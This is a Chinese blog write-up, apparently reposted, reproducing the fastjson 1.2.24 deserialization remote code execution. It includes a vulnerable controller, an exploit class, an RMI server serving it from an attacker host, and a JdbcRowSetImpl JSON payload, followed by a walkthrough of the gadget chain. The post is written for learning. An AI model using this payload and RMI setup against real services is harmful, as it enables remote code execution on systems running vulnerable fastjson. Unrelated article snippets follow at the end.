fastjson-1.2.24漏洞复现

news2024/9/20 22:45:40

文章目录

  • 0x01 前言
  • 0x02 环境
  • 0x03漏洞复现
    • 环境准备
  • 0x04 漏洞分析
    • 利用链源码分析
  • 0x05 总结
  • 0x06 可能遇到的坑

0x01 前言

影响版本 fastjson <= 1.2.24

本文出于学习fastjson漏洞的目的,为了能更好的复现漏洞,需要有以下前置知识。

  1. springboot
  2. fastjson
  3. jndi+rmi

jdk版本限制

  1. rmi:<= 6u132,7u122,8u113
  2. ldap:<= 6u211,7u201,8u191,11.0.1

原因:高版本JDK在RMI和LDAP的trustURLCodebase做了限制,从默认允许远程加载ObjectFactory变成了不允许。

0x02 环境

fastjson version:1.2.24

springboot version:2.7.7

jdk version:8u112

0x03漏洞复现

环境准备

  1. 新建一个springboot项目

  2. 引入web和fastjson依赖

    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
    
    <dependency>
    	<groupId>org.springframework.boot</groupId>
    	<artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    
  3. 编写漏洞代码

    //新建一个controller,然后写个模拟登录的接口
    package com.hmg.fastjson.controller;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;
    import org.springframework.web.bind.annotation.PostMapping;
    import org.springframework.web.bind.annotation.RequestBody;
    import org.springframework.web.bind.annotation.RestController;
    
    
    @RestController
    public class TestController {
    
        @PostMapping("/login")
        public String login(@RequestBody String jsonData) {
            //这里使用parse和parseObject都是一样的
            Object parse = JSON.parse(jsonData);
            System.out.println(parse.toString());
    
            return "login success";
        }
    }
    
  4. 漏洞利用

    1. 编写exp并且使用python开启一个http服务

      //这里有个需要注意的点,就是不需要包名(package name)
      public class DeserializationShell {
          static {
              try {
                  Runtime.getRuntime().exec("calc");
              } catch (Exception e) {
                  throw new RuntimeException(e);
              }
      	}
      }
      
      //把DeserializationShell类使用javac命令编译成class文件,然后在这个class文件目录下使用python启动一个http服务
      //python http命令:python -m http.server 8888 --bind 192.168.10.126 (cmd运行此命令,注意:一定要在class文件目录下)
      
    2. 使用rmi手法进行攻击(ldap也可以,这里使用rmi进行演示)

      //编写rmi server并启动
      package org.example.test12;
      
      import com.sun.jndi.rmi.registry.ReferenceWrapper;
      
      import javax.naming.Reference;
      import java.rmi.registry.LocateRegistry;
      import java.rmi.registry.Registry;
      
      public class RMIServer {
          public static void main(String[] args) throws Exception {
              String url = "http://192.168.10.126:8888/";
              Registry registry = LocateRegistry.createRegistry(1099);
              Reference reference = new Reference("DeserializationShell", "DeserializationShell", url);
              ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
              registry.bind("DeserializationShell",referenceWrapper);
              System.out.println("running...");
          }
      }
      
    3. 构造payload(这里采用JdbcRowSetImpl来复现,也可以采用其它类来进行构造payload,例如TemplateImpl)

    #使用接口测试工具或hackbar或burp suite来进行漏洞利用
    #payload如下:
    {
       "@type": "com.sun.rowset.JdbcRowSetImpl",
      	"dataSourceName": "rmi://192.168.10.126:1099/DeserializationShell",
      	"autoCommit": true
    }
    
  5. 成功rce

image-20240701231055757

0x04 漏洞分析

fastjson1.2.24在解析json过程中支持使用autoType来实例化类,并会调用get/set方法来访问属性,这样就可以构造恶意的利用链。这么说可能有点抽象,我们来具体分析下利用链源码。

利用链源码分析

image-20240701231149469

  1. 获取token

    image-20240701233528030

    从图中我们可以看到,它先是匹配了第一个字符,如果是’{'开始的,就指向下一个字符并且赋值token。(LBRACE = 12、LBRACKET = 14)

    image-20240701233935278

  2. 解析json对象

    image-20240701234554509

    因为我们token是LBRACE,所以我们跟进parseObject方法

    image-20240701234702863

    1. 先解析@type,解析到@type之后就进行loadClass

      image-20240702002936594

      解析到@type后继续往下走

      image-20240702003355868

      继续往下走,会看到deserialze方法

      image-20240702004953997

    2. 然后查找匹配字段,找不到就从符号表加载,找到之后就调用该字段的set方法

      com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze

      在这里检测匹配参数

      image-20240704142035213

      如果没有匹配参数,那么就从符号表找

      image-20240704142225831

      进入parseField方法

      image-20240704142512047

      获取字段反序列化器进行解析字段

      image-20240704142948310

      1. 解析参数值

      2. 反射调用该字段set方法

        image-20240704143401310

        反射调用,给JdbcRowSetImpl类的DataSourceName设置rmi地址

        image-20240704143535404

    3. 当调用到setAutoCommit时,在setAutoCommit里调用到connect方法,然后connect里会采用jndi的lookup方法,这就可以配合rmi进行恶意类攻击

image-20240704143930734

image-20240704144146667

lookup方法调用之后就造成了rce

0x05 总结

看完利用链分析后,我们来总结一下,整体来说就是fastjson是根据@type来进行反序列化类并且没有做任何限制,允许指定@type来反序列化任意类,所以导致了反序列化漏洞。

0x06 可能遇到的坑

1、rmi+jndi环境:java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
2、ldap+jndi环境:java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource

原因:是因为jdk版本限制问题,解决方法就是使用前面说的版本即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1908306.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

刷代码随想录有感(129):动态规划——两个字符串的删除操作

题干&#xff1a; 代码&#xff1a; class Solution { public:int minDistance(string word1, string word2) {vector<vector<int>>dp(word1.size() 1, vector<int>(word2.size() 1, 0));for(int i 1; i < word1.size(); i){for(int j 1; j < wor…

15个最佳WooCommerce商城网站及其主要功能

正在寻找的WooCommerce商城网站来激发灵感&#xff1f; 在动态的在线购物世界中&#xff0c;WooCommerce 就像企业的超级英雄。它帮助他们轻松创建强大而可靠的在线商店&#xff0c;并与WordPress顺畅协作。 从创新的产品展示到简化的结账流程&#xff0c;每个特色网站都拥有…

724.力扣每日一题7/8 Java

博客主页&#xff1a;音符犹如代码系列专栏&#xff1a;算法练习关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ 目录 思路 解题方法 时间复杂度 空间复杂度 Code 思路 主要基于数组的…

解析Xml文件并修改QDomDocument的值

背景&#xff1a; 我需要解决一个bug&#xff0c;需要我从xml中读取数据到QDomDocument&#xff0c;然后获取到我想要的目标信息&#xff0c;然后修改该信息。 ---------------------------------------------------------------------------------------------------------…

PPO控制人形机器人行走举例

PPO控制人形机器人行走 Proximal Policy Optimization (PPO) 是一种策略优化算法,在强化学习中广泛使用。它通过改进策略梯度方法,使得训练过程更加稳定和高效。 PPO算法原理介绍 PPO算法主要有两种变体:PPO-Clip 和 PPO-Penalty。这里主要介绍PPO-Clip,因为它更常用。 …

RecyclerView

1、导入RecyclerView包 2、在activity_main.xml中创建RecyclerView <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"…

Face_recognition实现人脸识别

这里写自定义目录标题 欢迎使用Markdown编辑器一、安装人脸识别库face_recognition1.1 安装cmake1.2 安装dlib库1.3 安装face_recognition 二、3个常用的人脸识别案例2.1 识别并绘制人脸框2.2 提取并绘制人脸关键点2.3 人脸匹配及标注 欢迎使用Markdown编辑器 本文基于face_re…

@Builder注解详解:巧妙避开常见的陷阱

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 &#x1f38f;&#xff1a;你只管努力&#xff0c;剩下的交给时间 &#x1f3e0; &#xff1a;小破站 Builder注解详解&#xff1a;巧妙避开常见的陷阱 前言1. Builder的基本使用使用示例示例类创建对…

Java——面试题

1、JDK 和 JRE 有什么区别&#xff1f; JDK&#xff08;Java Development Kit&#xff09;&#xff0c;Java开发工具包 JRE&#xff08;Java Runtime Environment&#xff09;&#xff0c;Java运行环境 JDK中包含JRE&#xff0c;JDK中有一个名为jre的目录&#xff0c;里面包含…

电子发票管理系统-计算机毕业设计源码99719

摘 要 本文旨在设计和实现一个基于SpringBoot的电子发票管理系统&#xff0c;以提升企业的发票管理效率和准确性。随着电子化发票管理的需求增加&#xff0c;企业需要一个高效、可靠且功能丰富的系统来帮助管理发票信息。基于SpringBoot的电子发票管理系统将提供诸如发票信息、…

多数据源及其连接池的配置、事务管理器的注册和使用

&#xff08;ps&#xff1a;如果只有这几个数据源&#xff0c;请选择一个默认的数据源和对应的事务管理器均加上Primary注解&#xff09;示例&#xff1a; 1.在yml文件中配置多数据源/池的信息 spring:datasource:type: com.alibaba.druid.pool.DruidDataSourcedruid:initia…

nodejs + vue3 模拟 fetchEventSouce进行sse流式请求

先上效果图: 前言: 在GPT爆发的时候,各项目都想给自己的产品加上AI,蹭上AI的风口,因此在最近的一个需求,就想要给项目加入Ai的功能,原本要求的效果是,查询到对应的数据后,完全展示出来,也就是常规的post请求,后来这种效果遇到了一个很现实的问题:长时间的等待。我…

SCI三区|儿童学习优化算法KLO:基于社会进化和认知学习的优化算法

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献5.代码获取 1.背景 2024年&#xff0c;ST Javed受到社会环境下家庭儿童的早期社会学习行为启发&#xff0c;提出了儿童学习优化算法&#xff08;Kids Learning Optimizer, KLO&#xff09;。 2.算法原理 2.…

使用MySQLInstaller配置MySQL

操作步骤 1.配置High Availability 默认选项Standalone MySQL Server classic MySQL Replication 2.配置Type and Networking ◆端口默认启用TCP/P网络 ◆端口默认为3306 3.配置Account and Roles 设置root账户的密码、添加其他管理员 4.配置Windows Service ◆配置MySQL Serv…

day4单向链表

主程序 #include "fun.h" int main(int argc, const char *argv[]) { node_p Lcreate_head();//创建链表 printf("########################链表的头插尾插\n"); insert_head(L,45);//头插 insert_head(L,45); insert_tail(L,45);/…

imx6ull/linux应用编程学习(14) MQTT基础知识

什么是mqtt&#xff1f; 与HTTP 协议一样&#xff0c; MQTT 协议也是应用层协议&#xff0c;工作在 TCP/IP 四层模型中的最上层&#xff08;应用层&#xff09;&#xff0c;构建于 TCP/IP协议上。 MQTT 最大优点在于&#xff0c;可以以极少的代码和有限的带宽&#xff0c;为连接…

极客时间:使用Autogen Builder和本地LLM(Microsoft Phi3模型)在Mac上创建本地AI代理

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

Jenkins教程-15-常用插件-Blue Ocean

上一小节我们学习了Jenkins定时任务构建的方法&#xff0c;本小节我们讲解一下Jenkins常用插件Blue Ocean的使用方法。 Blue Ocean 提供了一套可视化操作界面来帮助创建、编辑 Pipeline 任务。 Blue Ocean 特性&#xff1a; 流水线编辑器&#xff1a;用于创建贯穿始终的持续交…

JavaScript学习笔记(七)

45.9 JavaScript 可迭代对象 可迭代对象&#xff08;Iterables&#xff09;是可以使用 for..of 进行迭代的对象。 从技术上讲&#xff0c;可迭代对象必须实现 Symbol.iterator 方法。 45.9.1 遍历字符串 <body><p id"demo"></p><script>c…

关于centos7自带的nginx1.20.1开启https后,XP系统的IE6和IE8无法显示网页的问题

CentOS7自带的nginx-1.20.1是支持HTTP/2和TLS1.3的。 软件包名称&#xff1a;nginx-1.20.1-10.el7.x86_64 CentOS7默认开启了HTTP/2&#xff0c;但没有开启TLS1.3&#xff0c;以及IE6和IE8的https访问。 开启方法&#xff1a; ssl_ciphers HIGH:!aNULL:!MD5;改为ssl_ciphers…